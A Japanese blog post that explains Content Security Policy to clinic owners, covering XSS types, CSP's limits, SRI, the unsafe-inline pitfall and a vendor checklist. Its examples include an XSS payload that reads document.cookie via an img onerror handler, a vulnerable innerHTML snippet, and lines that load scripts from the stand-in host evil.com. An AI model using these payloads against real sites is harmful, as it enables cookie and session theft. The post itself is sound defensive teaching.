mirolabo

クリニックサイトのCSPを技術的に深掘りする ― 場合分け・SRI・unsafe-inlineの罠

前の記事ではCSPの判断軸を整理しました。この記事はその続きで、自分で技術的に理解したい経営者向けに、サイト種別ごとの優先度マトリクス・XSSの仕組み・CSPの限界・SRIや厳格設定の話を整理します。

前の記事で、CSPの必要性は自院サイトの種別で大きく変わるという話を書きました。

この記事は、そこから一歩踏み込みたい経営者向けの続編です。「ITベンダーと議論できるレベルで自分でも判断したい」という方を想定しています。前半でサイト種別ごとの優先度マトリクスを示し、後半でXSSの仕組み・CSPで防げないこと・SRIや厳格設定の話を順番に解説します。

サイト種別ごとのCSP優先度(マトリクス)

以下、表中の CMS はWordPress・Drupal・Joomla等の「管理画面からHTMLを動的生成する仕組み」を指します。

サイトの種別XSS注入経路XSS成功時の被害CSP優先度
静的サイト(フォーム・CMSなし/GA等の外部スクリプトの有無は問わない)なし限定的(評判失墜程度)不要
CMS(WordPress・Drupal等/公開入力なし)プラグイン・拡張のDOM-based XSS、管理画面経由限定的(フィッシング・評判失墜)
CMS(コメント・問い合わせフォーム)公開入力経由のXSS(Stored / Reflected)入力情報窃取、フィッシング
ログイン・患者ポータル上記+セッション操作経路セッション乗っ取り、患者DB窃取最高
EC機能あり(決済・物販)上記+決済画面カード情報の継続的窃取(Magecart型)最高

判断のコアは「注入経路の有無」と「成立した場合の被害規模」の2軸です。注入経路がそもそもないなら、CSPは入れても何も止めるものがありません。

外部スクリプト(GA・地図埋め込み等)の有無はこの判断に影響しません。CSPで防ぐ対象は「攻撃者による新規注入」であり、信頼宣言済みの第三者ドメインからの読み込みはそのまま通ります。第三者スクリプトの改ざん(Magecart型)はCSPではなくSRIで対処する領域です。

XSSがどう成立するか

CSPの理解には、まずXSSがどう成立するかを押さえる必要があります。

XSSは大きく3パターンあります。

Stored XSS

攻撃者がサイトのデータベースに悪意あるスクリプトを保存し、他のユーザーがそのページを閲覧した時に実行される。コメント欄、レビュー、プロフィール等が経路。

Reflected XSS

URLパラメータやフォーム入力がサーバー側で画面に反映される処理に脆弱性がある場合に成立。攻撃者は細工したURLを被害者にクリックさせる。

DOM-based XSS

クライアント側JavaScriptがURLパラメータやDOM情報を安全に処理せず、画面に反映する処理にバグがある場合に成立。サーバーは介在せず、被害者のブラウザだけで完結する。

DOM-based XSSの典型例(クリニックの予約カレンダープラグイン)

// プラグイン内の脆弱なコード
const date = new URLSearchParams(location.search).get('date');
document.getElementById('calendar').innerHTML = 
  `<div>選択された日付: ${date}</div>`;

攻撃者が https://your-clinic.jp/?date=<img src=x onerror="..."> のようなURLを患者にメールで送る。患者がクリックすると、プラグインの処理を経由して <img onerror> のJavaScriptが患者のブラウザで実行される。

サーバーには触れていません。プラグインのフロントエンドコードのバグだけで成立する攻撃です。

CSPがどう防ぐか

CSPは、ブラウザに「このサイトで実行を許可するスクリプトの条件」を伝えます。代表的なディレクティブは以下です。

ディレクティブ役割
script-src読み込みを許可するスクリプトのソース指定
style-srcCSSのソース指定
img-src画像のソース指定
connect-srcfetch/XHRの接続先指定
frame-ancestorsこのサイトをiframeで埋め込めるサイトの指定
form-actionフォーム送信先の指定

XSS攻撃のパターン別に、CSPで防げるかを整理します。

外部ドメインからのスクリプト読み込み

const s = document.createElement('script');
s.src = "https://evil.com/malware.js";
document.body.appendChild(s);

script-src の許可リストに evil.com がなければブロック。✅

インラインイベントハンドラ

<img src=x onerror="alert(document.cookie)">

→ CSPで unsafe-inline を許可していなければブロック。✅

eval() / new Function()

eval(attackerInput);

→ CSPで unsafe-eval を許可していなければブロック。✅

document.write での script タグ挿入

document.write('<script src="https://evil.com/x.js"></script>');

script-src 許可リスト経由で判定、外部なら基本ブロック。✅

CSPで防げないもの

CSPは万能ではありません。次のシナリオはCSPの守備範囲外です。

サーバー本体の侵害

攻撃者がサーバーを侵害してHTMLを直接書き換えた場合、CSPヘッダー自体も書き換えられます。CSPは「サイト所有者が宣言する」性質上、所有者の手から離れた瞬間に意味を失います。

許可リストに登録済みのドメインの侵害(Magecart型)

第三者の決済プロバイダー、解析ツール、チャットウィジェット等の配信元が攻撃を受けた場合、配信されるスクリプトが書き換わってもCSPは「許可している相手」として通します。British Airways(2018年)の38万件カード情報流出はこのパターンです。

→ 対策:SRI(Subresource Integrity)でスクリプトのハッシュを検証する。後述。

許可リストに登録済みのドメインの乗っ取り

過去に契約していたサービスのドメインが期限切れになり攻撃者が取得した、というケース。サイト側が古い <script src="..."> 参照を残していると、新所有者の悪意あるスクリプトを許可リスト経由で実行してしまいます。

→ 対策:使わなくなった第三者参照の整理。CSPの許可リスト・読み込み元のドメインを定期的に棚卸しする。

ブラウザ拡張機能による改変

拡張機能はWebページよりも高い権限で動作するため、CSPでは制御できません。これはエンドユーザー側の問題で、サイト側で対処不可。

SRI(Subresource Integrity)

第三者スクリプトの改ざんに対する補完策がSRIです。スクリプトタグにハッシュ値を書き、ファイルが改ざんされていればブラウザが実行を拒否します。

<script
  src="https://example-cdn.com/library.js"
  integrity="sha384-Hk2YPx..."
  crossorigin="anonymous">
</script>

有効なケース

  • 静的なライブラリ(jQuery、Bootstrap 等の固定バージョン)
  • バージョン固定されたCDN参照

有効でないケース

  • Google Analytics の gtag.js のように、配信側が随時更新するファイル(更新の度にハッシュが変わるので運用不可)
  • 動的に生成される第三者スクリプト

CSP + SRI の組み合わせで、「読み込み元」と「ファイル中身」の両方を守れます。

unsafe-inline の罠

実際のCSP実装で最も多い失敗が unsafe-inline の許可です。

なぜ有効化されがちか

WordPressのテーマ・プラグインや、古い書き方をしているサイトでは、HTML中に <script>...</script> のインラインJSや、onclick="..." のような属性が散見されます。これらは unsafe-inline を許可していないと動かないので、「とりあえず動かす」ために有効化されてしまうケースが非常に多いです。

何が起きるか

unsafe-inline を許可していると、攻撃者が注入したインラインスクリプトもブラウザは「許可されている」と判定して実行します。先ほど挙げた <img onerror> パターンも止まりません。CSPがあるのに実質ほぼ効いていない状態になります。

正しい対処:nonce か hash

インラインスクリプトを完全に排除できない場合は、noncehash で個別に許可します。

Content-Security-Policy: 
  script-src 'self' 'nonce-rAnd0mV4lue';
<script nonce="rAnd0mV4lue">
  // 自分のコードだけ実行される
</script>

毎回サーバー側でランダムなnonceを生成し、HTMLとCSPヘッダーの両方に同じ値を入れます。攻撃者が注入するスクリプトはこのnonceを知らないので実行されません。

WordPressの場合、ナンス対応のセキュリティプラグイン(例:HTTP Headersプラグイン)や、Apache/Nginxの設定で対処可能です。

CSP実装時のチェックリスト

ITベンダーに依頼する場合、以下の点を確認してください。

  1. unsafe-inline を許可していないか確認する。許可しているなら、その理由(どのプラグイン・テーマがインラインJSを使っているか)と、nonce対応への移行可否をベンダーに聞いてください。

  2. unsafe-eval を許可していないか確認する。一部の古いライブラリ(旧バージョンのVue/AngularJS等)が要求するケースがあります。可能なら排除してください。

  3. 読み込んでいる第三者ドメインを棚卸しする。許可リストに入っているが実際には使っていないドメインがあれば削除します。GA・地図埋め込み・チャットウィジェット・古い解析ツール等が候補です。

  4. 静的ライブラリにはSRIを設定する。CDN経由のjQuery、Bootstrap等にはハッシュを付けます。

  5. CSPレポート機能で違反を監視するreport-uri または report-to ディレクティブで違反イベントの送信先を指定し、定期的にレビューします。本番投入前に Content-Security-Policy-Report-Only モードでテストするのが安全です。

締め

CSPは「入れたかどうか」より「どう設定したか」が決定的です。unsafe-inline を許可した形だけのCSPは、実質的に何も止めません。逆に、厳格な設定とSRI・nonce対応を組み合わせれば、XSSの大半を防ぐ強力な防御層になります。

ただし、CSPだけで全部の脅威に対応できるわけではありません。サーバー側のパッチ運用、プラグイン更新、最小限の第三者依存、これらと組み合わせて初めて意味を持つ仕組みです。レイヤーの一つとして適切に位置付けて運用してください。